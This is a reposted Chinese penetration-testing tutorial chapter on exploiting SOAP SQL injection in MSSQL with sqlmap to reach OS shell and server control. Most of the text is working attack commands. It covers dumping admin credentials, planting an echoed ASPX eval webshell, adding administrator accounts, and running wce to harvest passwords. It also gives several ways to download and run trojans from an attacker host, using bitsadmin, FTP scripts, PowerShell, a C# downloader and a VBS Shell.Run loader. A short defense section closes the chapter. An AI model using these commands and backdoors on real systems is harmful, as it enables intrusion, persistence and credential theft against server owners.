sqlmap从入门到精通-第六章-6-4 SOAP注入MSSQL数据库sa权限处理思路及实战

6.4 SOAP注入MSSQL数据库sa权限处理思路及实战

6.4.1 注入点获取webshell及服务器权限思路

讨论一下通过注入点如何获取webshell的思路及服务器权限

下面有些是前面章节提到过的内容,重要常用的东西还是得每次都提一下

1. 普通权限SQL注入获取webshell思路

(1) 通过sqlmap对注入点进行测试,获取数据库管理表

(2) 主要用到sqlmap命令

sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt  bmfx.txt是抓包得http请求

sqlmap.py -u url --current-db

sqlmap.py -u url --current-user

sqlmap.py -u url -D databasename --tables

sqlmap.py -u url -D databasename -T admin --column

sqlmap.py -u url -D databasename -T admin --count

sqlmap.py -u url -D databasename -T admin --dump

(3) 管理员表密码破解

可以对管理员表admin得密码进行分析和破解,在线破解网站cmd5和somd5网站进行破解,但是对于变异加密只能通过已知密码进行猜测和对比

(4) 扫描后台登录地址

使用小萝卜头Havij,御剑等工具进行后台地址扫描,也可以通过Google进行搜索,例如:site:xxx.com  login

(5) 登录后台,寻找上传漏洞或者其他漏洞

(6) 获取webshell

2. sa权限注入点可直连数据库处理思路

(1) 注入点确认测试

sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt

(2) 判断当前注入点类型,判断为DBA权限则继续,否则放弃

sqlmap.py -u url --is-dba 或者 sqlmap.py -r bmfx.txt --is-dba

(3) 获取数据库密码

sqlmap.py -u url --password

(4) 对服务器IP地址进行扫描

nmap -sS -Pn -A 192.168.1.2

masscan -p 1-63522 192.168.1.2

(5) 对sa口令进行破解

在cmd5网站可以对MSSQL和MSSQL 2012进行密码暴力破解

(6) 尝试使用SQLTOOLS, SQL查询分析器,SQL客户端程序,Navicat Premium, Navicat for SQL Server 进行数据库的连接,如果能够成功连接,就尝试使用xp_cmdshell存储过程恢复并执行命令

具体关于xp_cmdshell的操作可以看前面的章节

3. sqlmap对注入点进行利用获取webshell及权限思路

(1) 通过sqlmap注入点进行测试,确认存在漏洞

sqlmap.py -u url 或者 sqlmap.py -r bmfx.txt

(2) 确认为sa权限

sqlmap.py -u url --is-dba 返回结果是True证明为DBA权限

(3) 直接获取os-shell

sqlmap.py -u url --os-shell

(4) 通过--os-shell进行权限及命令执行测试

whoami,ipconfig,ifconfig,netstat -tunlpa,

(5) 直接系统权限

如果当前注入点获取的os-shell是系统权限,Windows环境下,那么就直接添加用户即可

注意:有些系统需要密码复杂度验证,如果不通过,则可以修改已知用户密码来实现,如果获取的是非系统权限,低权限用户则继续

(6) 同dir命令寻找网站根目录

dir c:

(7) echo文件命令到服务器进行测试

echo test > D:webmfx.txt

(8) 查看文件内容

type D:webweb.config

(9) 访问网站测试

在浏览器中直接打开目标的url地址,例如:http://10.2.2.3/bmfx.txt ,如果能够正常显示则意味着离获取webshell越来越近了

(10) echo一句话后门

echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["pass"],"unsafe");%^>> D:wwwwebcms.aspx '

其他后门类似,需要注意的是使用"^"符号来处理重定向符号

(11) 获取webshell

一句话后门地址为http://10.1.1.2/webcms.aspx 密码是pass

(12) 生成系统信息文件

systeminifo > bmfxtg.txt

(13) Windows-Exploit-Suggester分析目标补丁更新情况

这里我前面章节详细讲到过,可以翻看前面的章节,这个有点过时,具体到后面讲解的时候看看有没有新的方法

(14) 下载Windows exp进行提权测试

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html

记住下面命令进行查询

wmic qfe get Caption,Description,HotFixID,InstalledOn

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"KB4018483"

(15) 获取系统权限

使用exp得时候,有3种思路,第一种是直接添加用户,第二种是获取当前登录系统得明文密码,第三种是反弹木马,一般exp命令如下:

expn0day "net user bmfx bmfx /add"

expn0day "net localgroup administrators bmfx /add"

expn0day "net localgroup administrators"

expn0day "wce -w" //将wce程序上传至目标目录里面执行

expn0day "muma.exe" // 上传至目标,进行反弹,或者使用MSF生成反弹木马

4. 成功率比较高得ms16-075提权方法

这个上一章节讲过

6.4.2 渗透中命令提示符下得文件上传方法

使用sqlmap进行漏洞测试的时候,有时需要上传文件,在各种反弹shell中也是需要进行文件的上传,下面是收集的一些文件上传的方法

1. sqlmap自带文件上传方法

(1) Kali下上传bmfx.vbs文件到目标系统的C盘根目录

sqlmap.py -r bmfx.txt --file-write="/root/bmfx.vbs" --file-dest="D:mfx.vbs"

(2) Windows下将wce上传至目标D盘根目录

sqlmap.py -r bmfx.txt --file-write="C: oolsqlmapwce.exe" --file-dest="D:wce.exe"

2. bitsadmin上传

bitsadmin /transfer myjob1 /download /priority normal http://www.ss.com/data/wce.exe D:wce.exe

bitsadmin /transfer n http://www.ss.com/data/wce.exe D:wce.exe

3. FTP下载方法

需要有公网IP地址,假设192.168.1.33为公网IP地址,且提供了FTP服务,可以使用系统自带的,也可以使用第三方软件搭建的FTP服务,通过创建FTP账号和密码是ftp,进行逐行执行即可

echo open 192.168.1.33 21 > ftp.txt

echo ftp >> ftp.txt

echo bin >> ftp.txt

echo ftp >> ftp.txt

echo GET muma.exe >> ftp.txt

ftp -s:ftp.txt

4. powershell下载

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.33/wce.exe', 'D:wce.exe')

5. csc法

csc.exe 是微软.NET Framework中C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe

(1) download.cs代码

using System.Net;

namespace downloader

{

class Program

{

static void Main(string[] args)

{

WebClient client = new WebClient();

string URLAddress = @"http://192.168.1.33/wce.exe";

string receivePath = @"C: estupdate";

client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName

(URLAddress));

}

}

}

(2) 执行编译过程

C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:C: estupdatedownload.exe C: estupdatedownload.cs

(3) 执行download.exe 文件即可下载

实际测试的时候把上面的下载地址换成自己的实际地址即可

6. echo vbs XMLHTTP方法下载

(1) echo脚本

echo Set xPost = CreateObject("Microsoft.XMLHTTP") > bmfx.vbs

echo xPost.Open "GET","http://192.168.1.33/data/wce.exe", 0 >> bmfx.vbs

echo xPost.Send() >> bmfx.vbs

echo Set sGet = CreateObject("ADODB.Stream") >> bmfx.vbs

echo sGet.Mode = 3 >> bmfx.vbs

echo sGet.Type = 1 >> bmfx.vbs

echo sGet.Open() >> bmfx.vbs

echo sGet.Write(xPost.responseBody) >> bmfx.vbs

echo sGet.SaveToFile "bmfx.exe", 2 >> bmfx.vbs

(2) 执行bmfx.vbs

cscript bmfx.vbs

7. Msxml2.XMLHTTP vbs脚本法下载并执行

Set Post = CreateObject("Msxml2.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

Post.Open "GET","http://192.168.1.33/data/wce.exe", 0

Post.Send()

Set aGet = CreateObject("ADODB.Stream")

aGet.Mode = 3

aGet.Type = 1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile "C:wce.exe", 2

wscript.sleep 10000

Shell.Run ("C:wce.exe") //延后执行下载文件

8. exe2bat转换exe为bat

有单独的脚本,可以将exe转换为bat,但是如果文件过大,将可能导致出错

6.4.3 SOAP注入漏洞扫描及发现

1. 随机寻找目标

(1) 使用搜索引擎搜索asmx关键字,在百度或者谷歌搜索inurl:Service.asmx

(2) 使用fofa网站对关键字.asmx 进行检索,也可以使用zoomeye和shodan进行搜索,使用不同的关键字效果会比较好

intext:word, intitle:word进行搜索

2. 定向目标SOAP注入发现

对目标站点的页面进行源代码查看,在其中搜索asmx关键字,搜索出来之后在浏览器中进行访问

3. 漏洞扫描

使用AWVS进行扫描

4. 保存HTTP header文件

如果使用AWVS扫描出来了漏洞,找到"View HTTP headers" 复制出来保存文本文件为bmfx.txt 将其中标记为payload的位置改成-1* 然后使用sqlmap -r bmfx.txt进行注入测试

6.4.4 使用sqlmap对SOAP注入点进行验证和测试

下面都是常规套路,跟前面章节讲的都是一样的

1. 确认SQL注入点

2. 查看DBA权限

3. 获取os-shell

4. 测试DoS命令执行情况,获取系统信息

例如:ipconfig, netstat -ano, whoami, net user

5. 使用sqlmap进行文件上传测试

(1) 上传vbs文件

(2) 在服务器上查看上传的文件

dir C:*.vbs

cscript C:mfx.vbs

(3) 命令成功,却无法下载

上传文件未成功

bitsadmin /transfer myjob1 /download /priority normal http://www.ss.com/data/wce.exe D:wce.exe

使用下面的方式进行下载

bitsadmin /transfer n http://www.ss.com/data/wce.exe D:wce.exe

6.4.5 获取服务器权限

1. 添加和修改用户命令

(1) 直接添加用户命令

(2) 修改用户口令

2. 登录目标服务器远程桌面

3. 获取服务器其他账号密码

6.4.6 渗透总结与防御

1. 渗透总结

本节对如何利用SQL注入点获取webshell及服务器权限进行了探讨,通过一个实际例子介绍了如何利用sqlmap获取系统权限,sqlmap进行os-shell操作,其回显会因为网络相关原因显示较慢,存在实际延迟

2. 安全检查与防御

(1) sqlmap安全检查

利用os-shell命令进行渗透,会在SQL Server当前数据库中创建sqlmapoutput这个表,可以针对性的检查,如果发现存在

这个表,则意味着服务器Web程序可能存在高危注入漏洞

(2) 其他安全检查和安全加固

登录目标服务器之后,通过简单的查看服务,发现服务器上存在后门文件,说明早期有人入侵过,建议对服务器进行彻底安全检查,同时降低数据库账号权限,按照安全防护软件

文件下载参考:

https://www.secpulse.com/archives/44450.html

https://www.dazhuanlan.com/2019/12/14/5df3dc3fbeeb9/

https://www.dazhuanlan.com/2020/03/07/5e6354ece7a67/


 
迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13366485.html